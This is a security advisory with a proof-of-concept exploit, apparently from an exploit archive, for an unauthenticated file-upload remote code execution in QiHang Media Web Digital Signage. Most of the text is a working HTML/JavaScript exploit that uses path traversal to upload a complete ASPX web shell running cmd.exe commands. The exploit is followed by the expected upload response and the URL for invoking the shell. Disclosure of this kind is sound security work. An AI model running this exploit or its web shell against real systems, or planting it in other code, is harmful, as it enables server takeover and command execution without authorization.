QiHang Media Web Digital Signage 3.1.1 Remote Code Execution

2020.10.22
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd. Guangzhou Hefeng Automation Technology Co., Ltd. Product web page: http://www.howfor.com Affected version: 3.0.9.0 Summary: Digital Signage Software. Desc: The application suffers from an unauthenticated remote code execution. The vulnerability is caused due to lack of verification when uploading files with QH.aspx that can be written in any location by utilizing the 'remotePath' parameter to traverse through directories. Abusing the upload action and the 'fileToUpload' parameter, an unauthenticated attacker can exploit this to execute system commands by uploading a malicious ASPX script. Tested on: Microsoft Windows Server 2012 R2 Datacenter Microsoft Windows Server 2003 Enterprise Edition ASP.NET 4.0.30319 HowFor Web Server/5.6.0.0 Microsoft ASP.NET Web QiHang IIS Server Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5582 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5582.php 27.07.2020 --> <html> <body> <script> function uploadShellPoC() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/192.168.1.74:8090\/QH.aspx", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr"); xhr.setRequestHeader("Accept", "*\/*"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9"); xhr.withCredentials = true; var body = "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + "Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"cmd.aspx\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\x3c%@ Page Language=\"VB\" Debug=\"true\" %\x3e\r\n" + "\x3c%@ import Namespace=\"system.IO\" %\x3e\r\n" + "\x3c%@ import Namespace=\"System.Diagnostics\" %\x3e\r\n" + "\r\n" + "\x3cscript runat=\"server\"\x3e\r\n" + "\r\n" + "Sub RunCmd(Src As Object, E As EventArgs)\r\n" + " Dim myProcess As New Process()\r\n" + " Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)\r\n" + " myProcessStartInfo.UseShellExecute = false\r\n" + " myProcessStartInfo.RedirectStandardOutput = true\r\n" + " myProcess.StartInfo = myProcessStartInfo\r\n" + " myProcessStartInfo.Arguments=xcmd.text\r\n" + " myProcess.Start()\r\n" + "\r\n" + " Dim myStreamReader As StreamReader = myProcess.StandardOutput\r\n" + " Dim myString As String = myStreamReader.Readtoend()\r\n" + " myProcess.Close()\r\n" + " mystring=replace(mystring,\"\x3c\",\"&lt;\")\r\n" + " mystring=replace(mystring,\"\x3e\",\"&gt;\")\r\n" + " result.text= vbcrlf & \"\x3cpre\x3e\" & mystring & \"\x3c/pre\x3e\"\r\n" + "End Sub\r\n" + "\r\n" + "\x3c/script\x3e\r\n" + "\r\n" + "\x3chtml\x3e\r\n" + "\x3cbody\x3e\r\n" + "\x3cform runat=\"server\"\x3e\r\n" + "\x3cp\x3e\x3casp:Label id=\"L_p\" runat=\"server\" width=\"80px\"\x3eProgram\x3c/asp:Label\x3e\r\n" + "\x3casp:TextBox id=\"xpath\" runat=\"server\" Width=\"300px\"\x3ec:\\windows\\system32\\cmd.exe\x3c/asp:TextBox\x3e\r\n" + "\x3cp\x3e\x3casp:Label id=\"L_a\" runat=\"server\" width=\"80px\"\x3eArguments\x3c/asp:Label\x3e\r\n" + "\x3casp:TextBox id=\"xcmd\" runat=\"server\" Width=\"300px\" Text=\"/c net user\"\x3e/c net user\x3c/asp:TextBox\x3e\r\n" + "\x3cp\x3e\x3casp:Button id=\"Button\" onclick=\"runcmd\" runat=\"server\" Width=\"100px\" Text=\"Run\"\x3e\x3c/asp:Button\x3e\r\n" + "\x3cp\x3e\x3casp:Label id=\"result\" runat=\"server\"\x3e\x3c/asp:Label\x3e\r\n" + "\x3c/form\x3e\r\n" + "\x3c/body\x3e\r\n" + "\x3c/html\x3e\r\n" + "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + "Content-Disposition: form-data; name=\"action\"\r\n" + "\r\n" + "upload\r\n" + "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + "Content-Disposition: form-data; name=\"responderId\"\r\n" + "\r\n" + "ResourceNewResponder\r\n" + "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + "Content-Disposition: form-data; name=\"remotePath\"\r\n" + "\r\n" + "/opt/resources\r\n" + "------WebKitFormBoundaryhbcZX7o0Hw19h3kr--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Click" onclick="uploadShellPoC();" /> </form> </body> </html> <!-- JSON response for successful upload: { "first": true, "second": [ "cmd.aspx" ] } GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx Command issued: /c whoami


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